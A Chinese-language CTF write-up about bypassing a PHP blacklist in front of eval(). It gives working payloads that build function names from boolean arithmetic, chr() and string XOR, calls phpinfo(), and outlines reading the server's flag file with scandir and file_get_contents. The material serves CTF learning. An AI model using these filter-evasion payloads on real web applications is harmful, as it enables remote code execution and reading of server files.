考点:PHP异或特性 ,命令执行
本片很长,但介绍了好几种命令之行的骚操作。
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
首先GET传个参,内容进行正则匹配,这里注意那个正则不是用的什么表达式,就是实际过滤那些字符 \x7F十进制是127,它对应ASCII表的最后一位。/i是不区分大小写,+是匹配一次或多次。
再看看第二个过滤,strtolower
将字符串转换为小写,用count_chars
返回由所有使用了的字节值组成的字符串,再判断其中每个字符累计出现次数是否大于 13 (0xd),这又要求每个字符不能出现超过13次。
条件一大堆,首先我们写一个脚本,看还有多少内置函数我们可用,脚本如下。
<?php
$arr = get_defined_functions()['internal'];
foreach ($arr as $key => $value) {
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $value) ){
unset($arr[$key]);
continue;
}
if ( strlen(count_chars(strtolower($value), 0x3)) > 0xd ){
unset($arr[$key]);
continue;
}
}
var_dump($arr);
?>
本地调试,结果如下。

虽然双引号跟单引号都被 ban 掉了,但是我们知道 php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型,所以即使双引号跟单引号被 ban 了其实并没有太大的影响。而我们还可以知道,字符串还可以用!
操作符来进行布尔类型的转换,如下:


这里可以加一个@抑止符号不输出警告信息。而对 bool 类型使用加法的时候, php 则会将 bool 类型处理为数字,true
转换为 1 , false
为 0 ,所以我们又可以利用这一点来实现数字计算:
<?php var_dump(!!@a + !!@a); //int(2) 1+1 var_dump((!!@a + !!@a) * (!!@a + !!@a + !!@a + !!@a)); //int(6) (1+1)*(1+1+0+1)
同时我们知道chr函数没有禁用,那么通过此方法可以构造出任意字符。
<?php
echo (chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a)).chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a )).chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a)).chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) + !!@a).chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) * ((!!@a + !!@a + !!@a) ** (!!@a + !!@a) )).chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - !!@a - !!@a).chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a) - !!@a))();
?>
这是一个phpinfo()的Payload,原理是先求出phpinfo每个字母对应的ASCII码值用128(2的7次方)去减去一定值得到 phpinfo 的ASCII码值,这种方法记录一下,但是因为需要‘.’去进行拼接,这道题没办法被ban掉了只能另寻他法。
观察正则表达式,我们还可以使用的符号有:
['!', '%', '+', '-', '*', '/', '>', '<', '?', '=', ':', '@', '^']
注意到异或(^)符号没有被ban。这里注意php和python的异或不同,python的异或无法将字符串之间进行异或,而php可以。
php > var_dump(@p^"1"); string(1) "A" php > var_dump(@h^"1"); string(1) "Y" php > var_dump(@i^"1"); string(1) "X" php > var_dump(@n^"4"); string(1) "Z" php > var_dump(@f^"1"); string(1) "W" php > var_dump(@o^"5"); string(1) "Z" php > var_dump(@phpinfo^"1111415"); string(7) "AYAXZWZ" php > var_dump(@AYAXZWZ^"1111415"); string(7) "phpinfo"
接下来就是数学时间了,另外,对于 int 型到 string 的转换,我们可以利用trim
进行操作。
<?php
var_dump(trim( (!!@a + !!@a + !!@a + !!@a + !!@a) * ((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) * ((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a+ !!@a+ !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a) - !!@a - !!@a- !!@a) ) ^ @AYAXZWZ);
?>

接下来要想办法绕过每个字符不能出现超过13次的判断。
所以我们需要精简一下异或操作,尽量找一些相同的字符进行操作,我们可以找到如下的异或关系:
p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
h: |Q ^ 9|X ^ 0|Y ^ 1|Z ^ 2|
p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
i: |Q ^ 8|X ^ 1|Y ^ 0|Z ^ 3|
n: |V ^ 8|W ^ 9|X ^ 6|Y ^ 7|Z ^ 4|
f: |Q ^ 7|R ^ 4|T ^ 2|U ^ 3|V ^ 0|W ^ 1|
o: |V ^ 9|W ^ 8|X ^ 7|Y ^ 6|Z ^ 5|
尽量找到相同字符进行拼凑,我们就可以得到AYAYYRY ^ 1110746
,AYR
加上trim
中的tim
,再加上!!(+*);
,我们这样只用 13 个字符得到了phpinfo()
。
(AYAYYRY^trim(((((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a)))+(((!!a+!!a))**((!!a))))))();.
这里注意将+进行URL加密,因为+在URL中是空格,要想实际输出+,必须URL加密一次

最后我们只需要按照同样的编码方式,尽量找相同的字符,就可以执行相关的 php 函数了,通过以下步骤就可以拿到 flag 了
var_dump(scandir(getcwd())); array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(34) "n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt" } var_dump(file_get_contents(end(scandir(getcwd()))));
这里偷个懒,不愿意构造了,太多了5555,学会方法最重要,这里解释下几个函数
getcwd()跟linux中的pwd命令一样显示当前路径,scandir()跟linux中的ls命令类似,end()选择到最后一个,file_get_contents()读取文件内容。
Another play:(本地调试了,上题构造太累)
单次异或可能会有一定的局限性,我们也可以通过两次或者多次异或来进行字符串的构造:
(qiqhnin^iiiiibi^hhhhimh)();//phpinfo()

更多骚操作参考P牛的:
Reference: